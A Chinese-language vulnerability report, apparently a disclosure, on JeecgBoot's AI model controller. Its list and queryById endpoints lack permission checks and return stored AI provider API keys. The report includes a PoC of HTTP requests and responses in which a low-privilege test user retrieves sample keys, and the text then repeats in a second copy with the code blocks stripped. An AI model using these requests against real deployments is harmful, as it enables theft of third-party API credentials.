1. 漏洞概述
JeecgBoot 的 AI 模型配置管理端点 AiragModelController 存在数据泄露漏洞。该控制器的 list 和 queryById 端点没有任何 @RequiresPermissions 注解,任何已认证用户均可调用。返回的 AiragModel 实体包含 credential 字段——该字段以 JSON 格式存储 AI 服务商(OpenAI、DeepSeek、智谱等)的完整 API Key,且 credential 字段没有 @JsonIgnore 或序列化保护,直接暴露在 HTTP 响应中。
同一模式还影响 AiragAppController、AiragKnowledgeController 和 AiragMcpController 中的多个无权限注解端点,但 AiragModelController 是最严重的,会直接泄露可用于调用第三方 AI 服务的 API 密钥。
2. 漏洞调用链
2.1 入口 — AiragModelController.list / queryById
文件: jeecg-boot-module/jeecg-boot-module-airag/.../controller/AiragModelController.java:61-67, 135-142
@GetMapping(value = "/list")
// ☆ 无 @RequiresPermissions ☆
public Result<IPage<AiragModel>> queryPageList(AiragModel airagModel, ...) {
QueryWrapper<AiragModel> queryWrapper = QueryGenerator.initQueryWrapper(airagModel, ...);
IPage<AiragModel> pageList = airagModelService.page(page, queryWrapper);
return Result.OK(pageList); // ← 返回完整 AiragModel 列表,含 credential
}
@GetMapping(value = "/queryById")
// ☆ 无 @RequiresPermissions ☆
public Result<AiragModel> queryById(@RequestParam(name = "id") String id) {
AiragModel airagModel = airagModelService.getById(id);
return Result.OK(airagModel); // ← 返回单个 AiragModel,含完整 credential
}
对比: 同一 Controller 中的 add、edit、delete 端点都有 @RequiresPermissions 注解,但 list 和 queryById 被遗漏。
2.2 敏感字段 — AiragModel.credential
文件: jeecg-boot-module/jeecg-boot-module-airag/.../entity/AiragModel.java:113-117
/**
* 凭证信息
*/
@Excel(name = "凭证信息", width = 15)
@Schema(description = "凭证信息")
private String credential; // ← 存储 {"apiKey":"sk-xxxx..."},无序列化保护
问题: 该字段仅标注了 @Excel 和 @Schema,没有任何序列化保护注解(@JsonIgnore、@JsonProperty(access = WRITE_ONLY))。Jackson 正常将其序列化到 JSON 响应中。
2.3 数据库存储格式
SELECT name, credential FROM airag_model;
-- OpenAI | {"apiKey":"sk-proj-..."}
-- DeepSeek | {"apiKey":"sk-8a7b6c5d..."}
-- 智谱 | {"apiKey":"您在官网上申请的key"}
2.4 同一模式的其他 AI 端点
| 控制器 |
无权限端点 |
泄露/影响 |
AiragModelController |
GET /list, GET /queryById |
CRITICAL — API Key 明文泄露 |
AiragAppController |
GET /list, GET /queryById, POST /save/article/write |
HIGH — 未授权操作 AI 应用 |
AiragKnowledgeController |
GET /list, GET /queryById, GET /doc/list |
MEDIUM — 未授权读取知识库 |
AiragMcpController |
全部端点(/list、/queryById、/save、/sync、/delete 等的 @RequiresPermissions 均被注释) |
HIGH — 完全未授权 |
3. PoC 复现步骤
- 使用
testonly(仅 test 角色,所有用户的默认角色,userIdentity=1)进行测试
- 创建两个测试模型(模拟管理员配置的真实 API Key)
3.1 管理员创建 AI 模型(模拟正常使用场景)
POST /jeecg-boot/airag/airagModel/add
X-Access-Token: <admin_jwt>
Content-Type: application/json
{
"name": "OpenAI_Test",
"provider": "OPENAI",
"modelType": "LLM",
"modelName": "gpt-4o",
"baseUrl": "https://api.openai.com/v1",
"credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}",
"activateFlag": 1
}
HTTP/1.1 200 OK
{"success":true,"message":"添加成功!","code":200}
POST /jeecg-boot/airag/airagModel/add
X-Access-Token: <admin_jwt>
Content-Type: application/json
{
"name": "DeepSeek_Test",
"provider": "DEEPSEEK",
"modelType": "LLM",
"modelName": "deepseek-chat",
"baseUrl": "https://api.deepseek.com/v1",
"credential": "{\"apiKey\":\"sk-9a9b9c5d4e3f2a1b0c9d8e7f6a5b4c3d\"}",
"activateFlag": 1
}
HTTP/1.1 200 OK
{"success":true,"message":"添加成功!","code":200}
3.2 攻击者( test 角色)通过 list 批量窃取
GET /jeecg-boot/airag/airagModel/list?pageNo=1&pageSize=10
X-Access-Token: <testonly_jwt>
Response (提取 模型):
{
"success": true,
"result": {
"records": [
{
"name": "OpenAI_Test",
"provider": "OPENAI",
"baseUrl": "https://api.openai.com/v1",
"credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}"
},
{
"name": "DeepSeek_Test",
"provider": "DEEPSEEK",
"baseUrl": "https://api.deepseek.com/v1",
"credential": "{\"apiKey\":\"sk-9a9b9c5d4e3f2a1b0c9d8e7f6a5b4c3d\"}"
}
]
}
}
3.3 攻击者通过 queryById 定点窃取
GET /jeecg-boot/airag/airagModel/queryById?id=2050541894263549954
X-Access-Token: <testonly_jwt>
Response:
{
"success": true,
"result": {
"name": "OpenAI_Test",
"baseUrl": "https://api.openai.com/v1",
"credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}"
}
}
原因: (1) list 和 queryById 缺少 @RequiresPermissions 注解;(2) credential 字段没有序列化保护,即使端点加了权限,在前端展示模型列表时也会将 API Key 发送到浏览器。第二点需要同时修复字段级和端点级的安全控制。
1. 漏洞概述
JeecgBoot 的 AI 模型配置管理端点
AiragModelController存在数据泄露漏洞。该控制器的list和queryById端点没有任何@RequiresPermissions注解,任何已认证用户均可调用。返回的AiragModel实体包含credential字段——该字段以 JSON 格式存储 AI 服务商(OpenAI、DeepSeek、智谱等)的完整 API Key,且credential字段没有@JsonIgnore或序列化保护,直接暴露在 HTTP 响应中。同一模式还影响
AiragAppController、AiragKnowledgeController和AiragMcpController中的多个无权限注解端点,但AiragModelController是最严重的,会直接泄露可用于调用第三方 AI 服务的 API 密钥。2. 漏洞调用链
2.1 入口 —
AiragModelController.list/queryById文件:
jeecg-boot-module/jeecg-boot-module-airag/.../controller/AiragModelController.java:61-67, 135-142对比: 同一 Controller 中的
add、edit、delete端点都有@RequiresPermissions注解,但list和queryById被遗漏。2.2 敏感字段 —
AiragModel.credential文件:
jeecg-boot-module/jeecg-boot-module-airag/.../entity/AiragModel.java:113-117问题: 该字段仅标注了
@Excel和@Schema,没有任何序列化保护注解(@JsonIgnore、@JsonProperty(access = WRITE_ONLY))。Jackson 正常将其序列化到 JSON 响应中。2.3 数据库存储格式
2.4 同一模式的其他 AI 端点
AiragModelControllerGET /list,GET /queryByIdAiragAppControllerGET /list,GET /queryById,POST /save/article/writeAiragKnowledgeControllerGET /list,GET /queryById,GET /doc/listAiragMcpController/list、/queryById、/save、/sync、/delete等的@RequiresPermissions均被注释)3. PoC 复现步骤
testonly(仅 test 角色,所有用户的默认角色,userIdentity=1)进行测试3.1 管理员创建 AI 模型(模拟正常使用场景)
3.2 攻击者( test 角色)通过
list批量窃取Response (提取 模型):
{ "success": true, "result": { "records": [ { "name": "OpenAI_Test", "provider": "OPENAI", "baseUrl": "https://api.openai.com/v1", "credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}" }, { "name": "DeepSeek_Test", "provider": "DEEPSEEK", "baseUrl": "https://api.deepseek.com/v1", "credential": "{\"apiKey\":\"sk-9a9b9c5d4e3f2a1b0c9d8e7f6a5b4c3d\"}" } ] } }3.3 攻击者通过
queryById定点窃取Response:
{ "success": true, "result": { "name": "OpenAI_Test", "baseUrl": "https://api.openai.com/v1", "credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}" } }原因: (1)
list和queryById缺少@RequiresPermissions注解;(2)credential字段没有序列化保护,即使端点加了权限,在前端展示模型列表时也会将 API Key 发送到浏览器。第二点需要同时修复字段级和端点级的安全控制。